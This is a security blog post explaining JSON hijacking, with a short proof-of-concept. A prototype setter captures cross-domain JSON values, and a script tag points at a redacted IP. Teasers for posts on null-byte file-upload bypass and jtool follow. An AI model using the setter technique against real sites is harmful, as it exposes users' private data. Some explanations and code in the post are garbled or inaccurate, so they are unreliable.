Skip to main content

Data leakage in JSON

A web application is sending data in this format:

{"t":1,"p":1,"r":1,"rows":[{"i":0,"c":["n","H, C","A","5","T","n"]}]}

this is a valid JSON, before moving on lets understand an important concept:

1. Javscript expression
2. javascript statement

javscript expressions are not executed by javascript parser, but statements are:

for ex:

<script>

{"t":1,"p":1,"r":1,"rows":[{"i":0,"c":["n","H, C","A","5","T","n"]}]}

</script>

this will not be executed, that is, objects won't be created. The above example is for a javascript expression.

But now when it is converted into a statement as given below:

<script>

[{"t":1,"p":1,"r":1,"rows":[{"i":0,"c":["n","H, C","A","5","T","n"]}]}]

</script>


this gets executed.

The way to exploit this is by declaring a setter for one of the objects, for ex. "t":

<script>
Object.prototype.__defineSetter__("t",function(obj){alert(1);for(var i in obj) {alert(i + '=' + obj[i]);} });
</script>
<script> defer="defer" src="http://XXX.XXX.XXX.X/main"/> // this points to the json
</script>


Until now there is no known way of exploiting a java expression based JSON.

Another restriction on JSON based exploitation is that not many browsers support setters (__defineSetter__).


Comments

Anonymous said…
its "JSON" not jason ... javascript object notation
December 6, 2012 at 2:40 PM
Nilesh Kumar said…
@ Anonymous: Sorry, it was a typo! Thanks for noticing, I rectified it.
December 6, 2012 at 2:46 PM
Anonymous said…
The vulnerability does not look like XSS, it is data leakage, the example shown extracts data from JS object from different domain. The title is misleading.
December 6, 2012 at 6:09 PM
Anonymous said…
Are u going to change the heading?? it is not XSS???
December 7, 2012 at 4:27 PM
Anonymous said…
i agree with above comment, author should correct or explains what he meaning by this.
December 18, 2012 at 9:49 AM
Anonymous said…
The setter does not work with Firefox, is there any specific browser you tried this in? Can you provide any links where this function is better explained?
December 23, 2012 at 7:41 PM
Post a Comment

Popular posts from this blog

File Upload through Null Byte Injection

Sometimes, during file upload we come across situation wherein there would be check on the file extension at the client side as well as server side too. If the application does allow only .jpeg extension to be uploaded, the client side java script checks for the extension of the file before passing the request. We all know that how easily this can be defeated. Some applications, checks for the extension at the server side also. That's not easy to bypass. However there are some ways with which it still can be bypassed. Most of server side scripts are written in high level languages such as Php, Java etc who still use some C/C++ libraries to read the file name and contents. That leads to the problem. In C/C++ a line ends with /00 or which is called Null Byte. So whenever the interpreter sees a null byte at the end of the a string, it stops reading thinking it has reached at the end of the string. This can be used for the bypass. It works for many servers, specially php servers. T...
1 comment
Read more

'Information Leakage-Improper Error Handling' dropped

From Owasp Top 10 2010 List, the issue 'Information Leakage-Improper Error Handling' has been dropped. But it's not the final list,its child release actually. Bu I feel it shouldn't be set aside because its still the one of the prevalent issues these days. That's why I mailed to Dave Wicher: Hi Dave, Excellent work, Congrats! Just one little query- Don't you think that Information Leakage & Improper Error Handling still deserves to be in Top 10? Dave replied: This topic is clearly a very prevalent issue that deserves attention by most organizations. However, the typical impact of such a flaw is usually very low. Therefore, the overall risk of this type of flaw is lower than the other items in the top 10, which is why it was replaced in this update with one of the 2 new items. Regarding dropping Info Leak/Error handling - It is incredibly prevalent, no question. But their impact is typically very low, so the overall risk is low, which is why it fell out of t...
3 comments
Read more

jtool - an alternative to otool

jtool comes with a capability of running on Linux environment. Some ipa scanning tools are created to run on Linux environment where mac environment is not available. In such cases tools such as otool and class-dump-z will not work. So jtool can be an alternative to otool. For more information on jtool please refer to http://www.newosxbook.com/tools/jtool.html . It lists down various commands which have same output as otool or a equivalent. There are several commands mentioned in link. But for our customized requirements and basis checks I have listed down the below ones after running on many binaries. The outputs are similar or equivalent to otool and class-dump-z: Commands for checking PIE flag (ASLR) in jTool jtool -d -v -arch | grep stack ·           Automatic Reference Counting (ARC) protection: jtool -d -v -arch | grep _objc_release ·           To check if the devic...
1 comment
Read more